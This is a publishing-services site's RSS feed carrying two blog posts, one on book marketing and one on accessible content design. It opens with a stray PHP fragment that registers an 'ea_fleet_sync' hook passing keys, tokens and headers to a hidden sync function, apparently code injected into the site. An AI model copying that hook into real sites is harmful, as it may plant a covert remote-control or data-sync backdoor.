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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); design - https://www.pps-ace.com Mon, 21 Sep 2020 15:06:06 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.7 https://www.pps-ace.com/wp-content/uploads/2014/08/cropped-pps-favicon-32x32.jpg design - https://www.pps-ace.com 32 32 Why Is Your Book the Best Marketing Tool You Can Have? https://www.pps-ace.com/why-is-your-book-the-best-marketing-tool-you-can-have/ https://www.pps-ace.com/why-is-your-book-the-best-marketing-tool-you-can-have/?noamp=mobile#respond Mon, 21 Sep 2020 15:06:04 +0000 https://www.pps-ace.com/?p=4710 Writing a book is one thing, but marketing it is a whole other challenge.

The post Why Is Your Book the Best Marketing Tool You Can Have? first appeared on .

]]> By Shaina Lucas, PPS Editor

Most writers think the hardest part of writing a book is, well, the writing and editing stage. On the contrary, it’s equally as difficult marketing the book before and after it’s published. Without marketing, getting people to read your book will be next to impossible. Even with the ability to reach anyone instantly through social media, the greatest marketing tool is the book.

Image source: benjovi.com

Your Book: Why Is It the Best Tool?

Authors spend many hours laboring over their work, so why shouldn’t they market what they’ve made? Why? Because the time and effort that is put into marketing will reward the authors and publishers in the end with a substantial return on investment. According to Publishing Talk, many authors worry about giving away too much information from their book while marketing in the pre-production phase. How can an audience invest in something if too much is given away without buying the product? Authors can easily stretch out a piece of information to leave their readers wanting more, and there’s always other small nuggets to give away when they read the book.

Engage Your Audience

Before engaging, the first step is to find out the book’s target audience. Once that’s established, let the audience become involved in the process. Ask questions, invite them to collaborate, or start a poll on cover art. You can also blog about your experience, and, as mentioned earlier, share some excerpts of the manuscript occasionally. Get on social media and share, share, share!

But what else can be done? There is a lot of things to choose from. A Beta test, such as a chapter or draft of the entire book during pre-publication, can be sent to the audience or friends for feedback and to use their reviews on your back cover, or post them online. Book readings post-publication are also a wonderful way to garner attention and receive feedback and get the word out there on your book.

Who Benefits from Marketing?

Along with a book’s representation, many people benefit from the book’s marketing. Consultants, service-providing business owners, nonprofit organizational leaders, and self-help professionals are just a few. Have you ever picked up a book or a magazine while sitting in a waiting room for an appointment? The author has successfully gained your attention by leaving their product with a business, which in turn helps their business. It’s similar to a business having a wall for other businesses’ cards; it all comes down to networking.

An author’s book represents the author themselves, their business, their publisher, anyone who has direct access on working on their manuscript. All the representation and benefits also lead to credibility. Credibility means the person has been established as someone who has reached a certain level of expertise. People will trust someone more who has been featured in the media and on podcasts, rather than a stranger. According to Smith Publicity, there’s easier ways to establish credibility including new self-publishing options and updated media channels such as YouTube and podcasts.

So, keep writing, be active on social media, and grow your credibility. The main goal of a successful marketing campaign is to sell a large amount of product—your book.

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]]> https://www.pps-ace.com/why-is-your-book-the-best-marketing-tool-you-can-have/feed/ 0 Making Existing Content Accessible vs Making Content Accessible by Design https://www.pps-ace.com/making-existing-content-accessible-vs-making-content-accessible-by-design/ https://www.pps-ace.com/making-existing-content-accessible-vs-making-content-accessible-by-design/?noamp=mobile#respond Thu, 20 Aug 2020 20:11:53 +0000 https://www.pps-ace.com/?p=4674 By Rachel Guise, PPS Editor A major goal in publishing is to get products into the hands of as many people as possible. This includes making sure final products are accessible to everyone. There are two ways to do this: start with a final product and make it accessible or keep accessibility in mind from […]

The post Making Existing Content Accessible vs Making Content Accessible by Design first appeared on .

]]> By Rachel Guise, PPS Editor

A major goal in publishing is to get products into the hands of as many people as possible. This includes making sure final products are accessible to everyone. There are two ways to do this: start with a final product and make it accessible or keep accessibility in mind from the start.

Designed by rawpixel.com / Freepik

Making Existing Content Accessible

Congratulations on publishing your product! What’s that? You’ve decided to make your content accessible! So, where do you start? For background information, check out PPS’s blog on accessibility.

The first challenge you may come across is the product’s overall appearance. Consider the template you are using. For example, certain color schemes may be hard to look at for those with visual impairments related to color. Fonts, font sizes, and spacing also need to meet certain criteria. Depending on your original product’s look, you might have to start over.

Second, did you include visual aids? Most screen readers can read tables, but charts and images will likely need alt text. Even complex tables may need alt text so that they are easier to follow. PPS has a blog on alt text for more guidelines and suggestions.

A third challenge may be the platform on which you’ve published your product. If your product is a print edition, PPS can help convert it for e-reader accessibility. PPS has a blog on ePUB conversions, too!

Making Content Accessible by Design

Starting over from scratch might not be necessary. Here are some ways to make your product accessible from start to finish.

Create an accessible design from the start. Doing so can avoid later challenges of how to design certain elements to stand out from your normal content. For example, boxes and tables should be set off from regular text but not be too extravagant. Usually, a font change or color change is enough to differentiate the visual aid from regular text.

By tying accessibility into the initial design, you will know from the start that any visual aids will need alt text, and how each image will add to—or take away from—the reader’s experience. Large tables may be hard to follow with screen readers. Opting to present this information in text form may be easier to understand and retain.

Designing your print products to be compatible with online platforms can help in that you may not need to create a second, simpler design for online use. This will also help you figure out how to handle data in terms of a table or running text.

Complex vs Simple Designs

Here is an example of a complex design that may have issues for accessibility. For example, the text box for “corporate” is translucent gray over a black-and-white photograph that contains a pattern. There is also white text over the yellow color pane, which may be difficult to see. A third potential issue is the placement of the various parts. Screen readers tend to read top to bottom, left to right. These parts may not be easy to follow in the order the creator intended.

Designed by eightonesix / Freepik

This design is much simpler. A screen reader will most likely be able to read the text on the left page, followed by the alt text for the image. The right page contains only one element, and the rest is text.

Designed by Freepik

Making your product accessible is possible in either way! Whether you want to make a labor of love accessible or create with accessibility in mind, PPS is here for you!

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